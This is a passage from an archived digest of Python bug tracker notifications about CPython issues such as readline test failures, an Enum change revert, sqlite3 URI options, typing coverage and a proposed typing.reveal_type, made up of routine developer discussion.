<1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1642422228.69.0.015951523366.issue13886@roundup.psfhosted.org> STINNER Victor added the comment: rl-locale.diff changes the readline implementation of the PyOS_Readline() to set LC_CTYPE locale to "C": setlocale(LC_CTYPE, "C"), rather to the user preferred locale: setlocale(LC_CTYPE, ""). IMO it's a bad idea. Python made great progress in Unicode support, readline has a good Unicode support, and in most cases, it just works like a charm. This change looks a hack just to get these 2 specific tests to pass, but it breaks any other usage of readline. rl-test.diff skips the test if the readline module can be imported, and it always import the readline module. It's different than that GH-30631 which only checks if the readline module is currently imported: my change doesn't import readline in test_builtin. "input-readline*.patch" patches and GH-7133 spawn a fresh Python process to make sure that the readline is not imported or to import readline explicitly. They are better than my fix, but they are more complicated. It seems likle these changes also fix test_input_tty_non_ascii() but I don't understand how. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 07:27:47 2022 From: report at bugs.python.org (theeshallnotknowethme) Date: Mon, 17 Jan 2022 12:27:47 +0000 Subject: [issue46407] optimizing `1 << n` or `2 ** n` and modulo-only operations In-Reply-To: <1642402003.92.0.19902831898.issue46407@roundup.psfhosted.org> Message-ID: <1642422467.06.0.392894217817.issue46407@roundup.psfhosted.org> theeshallnotknowethme added the comment: Also how would it be implemented? in terms of a PyLongObject or just a uint64_t? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 07:30:42 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 12:30:42 +0000 Subject: [issue13888] test_builtin failure when run after test_tk In-Reply-To: <1327661656.8.0.445863136974.issue13888@psf.upfronthosting.co.za> Message-ID: <1642422642.69.0.219634192023.issue13888@roundup.psfhosted.org> STINNER Victor added the comment: I cannot reproduce this issue on the Python main branch on Fedora 35 with Tk 8.6.10 and libX11 1.7.3.1. I close the issue, please reopen it if you can still reproduce it. One year ago, Serhiy wrote that the issue was still reproducible on Linux but he didn't mention the Tk and libX11 versions. I used the command: ./python -Wd -E -bb -m test -vuall test_tk test_builtin Versions: $ make pythoninfo|grep ^tk tkinter.TCL_VERSION: 8.6 tkinter.TK_VERSION: 8.6 tkinter.info_patchlevel: 8.6.10 $ rpm -q tk tcl libX11 tk-8.6.10-7.fc35.x86_64 tcl-8.6.10-6.fc35.x86_64 libX11-1.7.3.1-1.fc35.x86_64 ---------- resolution: -> third party stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 07:31:30 2022 From: report at bugs.python.org (Jirka Marsik) Date: Mon, 17 Jan 2022 12:31:30 +0000 Subject: [issue46410] TypeError when parsing regexp with unicode named character sequence escape Message-ID: <1642422690.85.0.963373421806.issue46410@roundup.psfhosted.org> New submission from Jirka Marsik : re.compile(r"\N{name of Unicode Named Character Sequence}"), e.g. re.compile(r"\N{KEYCAP NUMBER SIGN}"), throws a TypeError. The regular expression parser relies on 'unicodedata' to lookup character names. The 'unicodedata' module recently added support for Unicode Named Character Sequences (https://www.unicode.org/Public/13.0.0/ucd/NamedSequences.txt). Trying to use these named character sequences in a regular expression leads to a 'TypeError', as the regexp parser tries to call 'ord' on a string with length > 1. ---------- components: Regular Expressions messages: 410770 nosy: ezio.melotti, jirkamarsik, mrabarnett priority: normal severity: normal status: open title: TypeError when parsing regexp with unicode named character sequence escape type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 07:33:21 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 12:33:21 +0000 Subject: [issue41034] test_builtin: PtyTests fail when run twice In-Reply-To: <1592562154.53.0.0111619252983.issue41034@roundup.psfhosted.org> Message-ID: <1642422801.38.0.524390462277.issue41034@roundup.psfhosted.org> STINNER Victor added the comment: The "./python -m test -R 3:3 test_builtin" command loads the readline module somehow: --- $ ./python -i -m test -R 3:3 test_builtin (...) SystemExit: 0 >>> import sys >>> 'readline' in sys.modules True --- This bug is a duplicate of bpo-13886. Moreover, I tested manually: my change GH-30631 fix this issue. ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> test_builtin.PtyTests fail on non-ASCII characters if the readline module is loaded _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 07:34:01 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 12:34:01 +0000 Subject: [issue13886] test_builtin.PtyTests fail on non-ASCII characters if the readline module is loaded In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1642422841.89.0.673886290721.issue13886@roundup.psfhosted.org> STINNER Victor added the comment: I marked bpo-41034 "test_builtin: PtyTests fail when run twice" as a duplicate of this issue. Moreover, I tested manually: my change GH-30631 fix the "./python -m test -R 3:3 test_builtin" command. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 07:37:15 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 12:37:15 +0000 Subject: [issue40066] Enum: modify __repr__, __str__; update docs In-Reply-To: <1585165738.23.0.618463548627.issue40066@roundup.psfhosted.org> Message-ID: <1642423035.51.0.0779134190239.issue40066@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: +vstinner nosy_count: 14.0 -> 15.0 pull_requests: +28835 pull_request: https://github.com/python/cpython/pull/30632 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 07:54:49 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 17 Jan 2022 12:54:49 +0000 Subject: [issue46409] Add a new bytecode instruction to create generators In-Reply-To: <1642420475.96.0.0360336928035.issue46409@roundup.psfhosted.org> Message-ID: <1642424089.09.0.243727086346.issue46409@roundup.psfhosted.org> Change by Mark Shannon : ---------- keywords: +patch pull_requests: +28836 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30633 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 07:57:05 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 12:57:05 +0000 Subject: [issue20271] urllib.parse.urlparse() accepts wrong URLs In-Reply-To: <1389789129.93.0.775761654638.issue20271@psf.upfronthosting.co.za> Message-ID: <1642424225.77.0.386737548345.issue20271@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 07:58:44 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 12:58:44 +0000 Subject: [issue40066] Enum: modify __repr__, __str__; update docs In-Reply-To: <1585165738.23.0.618463548627.issue40066@roundup.psfhosted.org> Message-ID: <1642424324.3.0.680038398901.issue40066@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 42a64c03ec5c443f2a5c2ee4284622f5d1f5326c by Victor Stinner in branch 'main': Revert "bpo-40066: [Enum] update str() and format() output (GH-30582)" (GH-30632) https://github.com/python/cpython/commit/42a64c03ec5c443f2a5c2ee4284622f5d1f5326c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:00:56 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 13:00:56 +0000 Subject: [issue13886] test_builtin.PtyTests fail on non-ASCII characters if the readline module is loaded In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1642424456.32.0.442918843145.issue13886@roundup.psfhosted.org> STINNER Victor added the comment: New changeset ad6e640f910787e73fd00f59117fbd22cdf88c78 by Victor Stinner in branch 'main': bpo-13886: Skip PTY non-ASCII tests if readline is loaded (GH-30631) https://github.com/python/cpython/commit/ad6e640f910787e73fd00f59117fbd22cdf88c78 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:01:17 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 17 Jan 2022 13:01:17 +0000 Subject: [issue13886] test_builtin.PtyTests fail on non-ASCII characters if the readline module is loaded In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1642424477.51.0.590743874781.issue13886@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 10.0 -> 11.0 pull_requests: +28837 pull_request: https://github.com/python/cpython/pull/30634 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:01:23 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 13:01:23 +0000 Subject: [issue40066] Enum: modify __repr__, __str__; update docs In-Reply-To: <1585165738.23.0.618463548627.issue40066@roundup.psfhosted.org> Message-ID: <1642424483.35.0.132392368176.issue40066@roundup.psfhosted.org> STINNER Victor added the comment: Sorry, I had to revert the change since it broke the CI and it prevented to merge new PRs. Tell me if I can help to get this test fixed and to get this change merged again. By the way, the PR 30582 was merged even if the Docs CI failed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:01:22 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 17 Jan 2022 13:01:22 +0000 Subject: [issue13886] test_builtin.PtyTests fail on non-ASCII characters if the readline module is loaded In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1642424482.92.0.815628082382.issue13886@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28838 pull_request: https://github.com/python/cpython/pull/30635 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:03:55 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 13:03:55 +0000 Subject: [issue44133] Some C-API symbols (e.g. Py_FrozenMain) are not always exported on Unix In-Reply-To: <1621011524.07.0.0957325647121.issue44133@roundup.psfhosted.org> Message-ID: <1642424635.98.0.398948562573.issue44133@roundup.psfhosted.org> STINNER Victor added the comment: > Ah, sorry, I could have described the issue better. It's not a problem with exporting, PyThread_get_thread_native_id() isn't available on Solaris (and possibly other platforms) at all. Oh ok, it's a simple bug in my test. I wrote GH-30636 to fix it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:03:25 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 13:03:25 +0000 Subject: [issue44133] Some C-API symbols (e.g. Py_FrozenMain) are not always exported on Unix In-Reply-To: <1621011524.07.0.0957325647121.issue44133@roundup.psfhosted.org> Message-ID: <1642424605.81.0.322340335421.issue44133@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28839 stage: resolved -> patch review pull_request: https://github.com/python/cpython/pull/30636 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:06:09 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 13:06:09 +0000 Subject: [issue45444] test.test_concurrent_futures fail in x86_ 64 architecture In-Reply-To: <1634045867.87.0.955416673386.issue45444@roundup.psfhosted.org> Message-ID: <1642424769.68.0.384876365992.issue45444@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:10:33 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 13:10:33 +0000 Subject: [issue13886] test_builtin.PtyTests fail on non-ASCII characters if the readline module is loaded In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1642425033.05.0.79063388069.issue13886@roundup.psfhosted.org> STINNER Victor added the comment: With my change, the two following commands now pass successfully: * ./python -m test test_readline test_builtin * ./python -m test -R 3:3 test_builtin ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:14:15 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 13:14:15 +0000 Subject: [issue45522] Allow to build Python without freelists In-Reply-To: <1634641564.68.0.977403045358.issue45522@roundup.psfhosted.org> Message-ID: <1642425255.98.0.966926750097.issue45522@roundup.psfhosted.org> STINNER Victor added the comment: I reopen the issue to not forget to complete the doc. ---------- resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:24:54 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 17 Jan 2022 13:24:54 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642425894.51.0.835415432443.issue46402@roundup.psfhosted.org> Erlend E. Aasland added the comment: FYI, you can already do this using the URI option: cx = sqlite3.connect("file:test.db?mode=rw", uri=True) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:26:17 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 17 Jan 2022 13:26:17 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642425977.63.0.846670617881.issue46402@roundup.psfhosted.org> Erlend E. Aasland added the comment: See also bpo-24887. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:31:13 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 17 Jan 2022 13:31:13 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642426273.97.0.724256042907.issue46402@roundup.psfhosted.org> Erlend E. Aasland added the comment: IMO, the URI "API" is not very pythonic; I have to look up the format every time I'm using it. OTOH, introducing flags, or keywords, for every option will add a lot of code. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:35:17 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 17 Jan 2022 13:35:17 +0000 Subject: [issue13886] test_builtin.PtyTests fail on non-ASCII characters if the readline module is loaded In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1642426517.0.0.0853645412831.issue13886@roundup.psfhosted.org> miss-islington added the comment: New changeset 1345b460f568afa8a6f9c0e2b23adba5015f208e by Miss Islington (bot) in branch '3.10': bpo-13886: Skip PTY non-ASCII tests if readline is loaded (GH-30631) https://github.com/python/cpython/commit/1345b460f568afa8a6f9c0e2b23adba5015f208e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:40:01 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 17 Jan 2022 13:40:01 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642426801.02.0.10449243928.issue46402@roundup.psfhosted.org> Erlend E. Aasland added the comment: OTOH, implementing an API similar to apsw (adding a flags keyword) would make it easier for users to switch between that and the stdlib sqlite3. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:47:33 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 13:47:33 +0000 Subject: [issue13886] test_builtin.PtyTests fail on non-ASCII characters if the readline module is loaded In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1642427253.22.0.224051238727.issue13886@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 0fbb9afbddb93408e34bdb7625002374cb2ad68c by Miss Islington (bot) in branch '3.9': bpo-13886: Skip PTY non-ASCII tests if readline is loaded (GH-30631) (GH-30635) https://github.com/python/cpython/commit/0fbb9afbddb93408e34bdb7625002374cb2ad68c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:47:54 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 13:47:54 +0000 Subject: [issue46383] _zoneinfo module_free has invalid function signature In-Reply-To: <1642189870.23.0.585982276736.issue46383@roundup.psfhosted.org> Message-ID: <1642427274.64.0.783251528263.issue46383@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 7a822c92782ffda8fa32a4b30a95b9de7cc1b8e6 by Miss Islington (bot) in branch '3.10': bpo-46383: Fix signature of zoneinfo module_free function (GH-30607) (GH-30610) https://github.com/python/cpython/commit/7a822c92782ffda8fa32a4b30a95b9de7cc1b8e6 ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:48:59 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 13:48:59 +0000 Subject: [issue13886] test_builtin.PtyTests fail on non-ASCII characters if the readline module is loaded In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1642427339.8.0.936090303011.issue13886@roundup.psfhosted.org> STINNER Victor added the comment: Ok, the initial issue is now fixed: the test pass. If someone wants to write test input() with non-ASCII input and readline, I suggest to open a new issue and add the test in the test_readline module instead. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:49:31 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 13:49:31 +0000 Subject: [issue44133] Some C-API symbols (e.g. Py_FrozenMain) are not always exported on Unix In-Reply-To: <1621011524.07.0.0957325647121.issue44133@roundup.psfhosted.org> Message-ID: <1642427371.31.0.999449010618.issue44133@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 16901c0482734dbd389b09ca3edfcf3e22faeed7 by Victor Stinner in branch 'main': bpo-44133: Skip PyThread_get_thread_native_id() if not available (GH-30636) https://github.com/python/cpython/commit/16901c0482734dbd389b09ca3edfcf3e22faeed7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:50:21 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 13:50:21 +0000 Subject: [issue44133] Some C-API symbols (e.g. Py_FrozenMain) are not always exported on Unix In-Reply-To: <1621011524.07.0.0957325647121.issue44133@roundup.psfhosted.org> Message-ID: <1642427421.47.0.882729657524.issue44133@roundup.psfhosted.org> Change by STINNER Victor : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:53:54 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 13:53:54 +0000 Subject: [issue38550] hashlib missing algorithms In-Reply-To: <1571673604.24.0.668685601916.issue38550@roundup.psfhosted.org> Message-ID: <1642427634.95.0.285396977181.issue38550@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 08:58:21 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 13:58:21 +0000 Subject: [issue22039] PyObject_SetAttr doesn't mention value = NULL In-Reply-To: <1406051790.64.0.0676928180206.issue22039@psf.upfronthosting.co.za> Message-ID: <1642427901.84.0.915410544265.issue22039@roundup.psfhosted.org> Change by Irit Katriel : ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 09:04:17 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 17 Jan 2022 14:04:17 +0000 Subject: [issue46389] 3.11: unused generator comprehensions cause f_lineno==None In-Reply-To: <1642249582.51.0.604668369809.issue46389@roundup.psfhosted.org> Message-ID: <1642428257.3.0.270871213292.issue46389@roundup.psfhosted.org> Change by Mark Shannon : ---------- assignee: -> Mark.Shannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 09:04:33 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 17 Jan 2022 14:04:33 +0000 Subject: [issue40066] Enum: modify __repr__, __str__; update docs In-Reply-To: <1585165738.23.0.618463548627.issue40066@roundup.psfhosted.org> Message-ID: <1642428273.32.0.658864120811.issue40066@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +kumaraditya303 nosy_count: 15.0 -> 16.0 pull_requests: +28840 pull_request: https://github.com/python/cpython/pull/30637 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 09:05:10 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 17 Jan 2022 14:05:10 +0000 Subject: [issue46374] Assertion failed in ceval.c In-Reply-To: <1642154790.61.0.270697807965.issue46374@roundup.psfhosted.org> Message-ID: <1642428310.23.0.418828608911.issue46374@roundup.psfhosted.org> Change by Mark Shannon : ---------- priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 09:16:20 2022 From: report at bugs.python.org (Petr Viktorin) Date: Mon, 17 Jan 2022 14:16:20 +0000 Subject: [issue22039] PyObject_SetAttr doesn't mention value = NULL In-Reply-To: <1406051790.64.0.0676928180206.issue22039@psf.upfronthosting.co.za> Message-ID: <1642428979.99.0.610127910325.issue22039@roundup.psfhosted.org> Petr Viktorin added the comment: This cannot be changed in 3.x, since the PyObject_DelAttr macro calls PyObject_SetAttr(..., NULL), and the macro is expanded in all extensions that use the stable ABI. (Technically, it would be possible to add a PyObject_SetAttr *macro* that would warn/fail, while keeping the PyObject_SetAttr *function* untouched, but that would be a pain to test/maintain.) The wording could be clarified to something like: "This behaviour is deprecated in favour of using PyObject_DelAttr(), but there are currently no plans to remove it." ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 09:40:58 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 14:40:58 +0000 Subject: [issue46411] modernize exception handling in tests Message-ID: <1642430458.91.0.635500349757.issue46411@roundup.psfhosted.org> New submission from Irit Katriel : There are a few tests that use sys.exc_info() because they needed to in python 2, but there is no longer a reason to do it. I will make a patch shortly. ---------- assignee: iritkatriel components: Tests messages: 410789 nosy: iritkatriel priority: normal severity: normal status: open title: modernize exception handling in tests versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 09:44:57 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 14:44:57 +0000 Subject: [issue46411] modernize exception handling in tests In-Reply-To: <1642430458.91.0.635500349757.issue46411@roundup.psfhosted.org> Message-ID: <1642430697.74.0.388366422436.issue46411@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +28841 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30638 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 09:48:15 2022 From: report at bugs.python.org (Ned Batchelder) Date: Mon, 17 Jan 2022 14:48:15 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642430895.38.0.906809629652.issue46402@roundup.psfhosted.org> Ned Batchelder added the comment: @Erlend: thanks for the URI tip, I missed that as a possibility in the SQLite docs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 09:53:27 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 14:53:27 +0000 Subject: [issue22039] PyObject_SetAttr doesn't mention value = NULL In-Reply-To: <1406051790.64.0.0676928180206.issue22039@psf.upfronthosting.co.za> Message-ID: <1642431207.16.0.234818774944.issue22039@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +28842 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30639 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 09:53:35 2022 From: report at bugs.python.org (=?utf-8?q?Fernando_P=C3=A9rez_G=C3=B3mez?=) Date: Mon, 17 Jan 2022 14:53:35 +0000 Subject: [issue46412] PyQT6 projects crashes with python 3.10 Message-ID: <1642431215.5.0.0388786370739.issue46412@roundup.psfhosted.org> New submission from Fernando P?rez G?mez : can't translate ui. files , flags of alignment , curve types of animation doesn?t wors ...etc ---------- messages: 410791 nosy: fernandoprezgmez priority: normal severity: normal status: open title: PyQT6 projects crashes with python 3.10 type: crash versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 09:57:57 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 17 Jan 2022 14:57:57 +0000 Subject: [issue46413] `__or__` is not covered for `_GenericAlias` and `_SpecialGenericAlias` in `typing` Message-ID: <1642431476.98.0.248421511128.issue46413@roundup.psfhosted.org> New submission from Nikita Sobolev : Today I've noticed that these two methods are not covered: https://github.com/python/cpython/blame/16901c0482734dbd389b09ca3edfcf3e22faeed7/Lib/typing.py#L1028-L1032 - `typing._GenericAlias.__or__` - `typing._GenericAlias.__ror__` Later, I've realized that these two methods are not covered as well: https://github.com/python/cpython/blame/16901c0482734dbd389b09ca3edfcf3e22faeed7/Lib/typing.py#L1149-L1153 - `typing._SpecialGenericAlias.__or__` - `typing._SpecialGenericAlias.__ror__` My test plan is: 1. Cover regular `_GenericAlias` with `|` operation 2. Cover some `_SpecialGeneriAlias` instances like `Sized` and `Hashable` 3. Cover `Callable` and `Tuple` types, because they are a special-cased subtypes of `_SpecialGeneriAlias` PR is on its way. ---------- components: Tests messages: 410792 nosy: sobolevn priority: normal severity: normal status: open title: `__or__` is not covered for `_GenericAlias` and `_SpecialGenericAlias` in `typing` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 09:59:08 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 17 Jan 2022 14:59:08 +0000 Subject: [issue46413] `__or__` is not covered for `_GenericAlias` and `_SpecialGenericAlias` in `typing` In-Reply-To: <1642431476.98.0.248421511128.issue46413@roundup.psfhosted.org> Message-ID: <1642431548.54.0.450057476843.issue46413@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28843 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30640 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 09:59:25 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 17 Jan 2022 14:59:25 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642431565.75.0.800486176488.issue46402@roundup.psfhosted.org> Erlend E. Aasland added the comment: I guess we could do more to promote that trick in the docs. It?s quite useful. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:02:25 2022 From: report at bugs.python.org (Ronald Oussoren) Date: Mon, 17 Jan 2022 15:02:25 +0000 Subject: [issue46412] PyQT6 projects crashes with python 3.10 In-Reply-To: <1642431215.5.0.0388786370739.issue46412@roundup.psfhosted.org> Message-ID: <1642431745.8.0.0410123431187.issue46412@roundup.psfhosted.org> Ronald Oussoren added the comment: This is most likely a problem with PyQt6. Please ask that project first (with a clearer description of what goes wrong and on which platforms). ---------- nosy: +ronaldoussoren resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:02:23 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 17 Jan 2022 15:02:23 +0000 Subject: [issue46414] Add typing.reveal_type Message-ID: <1642431742.97.0.220350932108.issue46414@roundup.psfhosted.org> New submission from Jelle Zijlstra : The `reveal_type()` primitive is injected by type checkers into the builtins. When the type checker sees a call, it prints the inferred type of the argument. This has been implemented across all type checkers, but adding an implementation to `typing` would help document the behavior and make it more discoverable for users. Also, it means code with `reveal_type()` calls can run without runtime errors, useful if you want to run your tests at the same time as you're debugging a typing issue. The runtime implementation can be very simple: def reveal_type(obj: _T, /) -> _T: print("Runtime type is", type(obj)) return obj reveal_type() is supported by all type checkers that I'm aware of (docs include https://google.github.io/pytype/faq.html#can-i-find-out-what-pytype-thinks-the-type-of-my-expression-is for pytype and https://mypy.readthedocs.io/en/stable/common_issues.html#reveal-type for mypy). One area of divergence is the return value. Pyright returns the inferred type of the expression as a string (and uses that in its test suite for testing type inference). Mypy returns the argument, which has the advantage that you can insert `reveal_type()` in the middle of an expression without having to put it on its own line. Also, the Pyright behavior cannot sensibly be implemented at runtime. Therefore, I suggest using Mypy's behavior for `typing.reveal_type`. ---------- assignee: Jelle Zijlstra components: Library (Lib) messages: 410794 nosy: AlexWaygood, Jelle Zijlstra, gvanrossum, kj priority: normal severity: normal status: open title: Add typing.reveal_type versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:08:58 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 15:08:58 +0000 Subject: [issue22039] PyObject_SetAttr doesn't mention value = NULL In-Reply-To: <1406051790.64.0.0676928180206.issue22039@psf.upfronthosting.co.za> Message-ID: <1642432138.84.0.58084064846.issue22039@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:14:34 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 15:14:34 +0000 Subject: [issue34875] Change .js mime to "text/javascript" In-Reply-To: <1538519319.52.0.545547206417.issue34875@psf.upfronthosting.co.za> Message-ID: <1642432474.44.0.496908001476.issue34875@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:15:29 2022 From: report at bugs.python.org 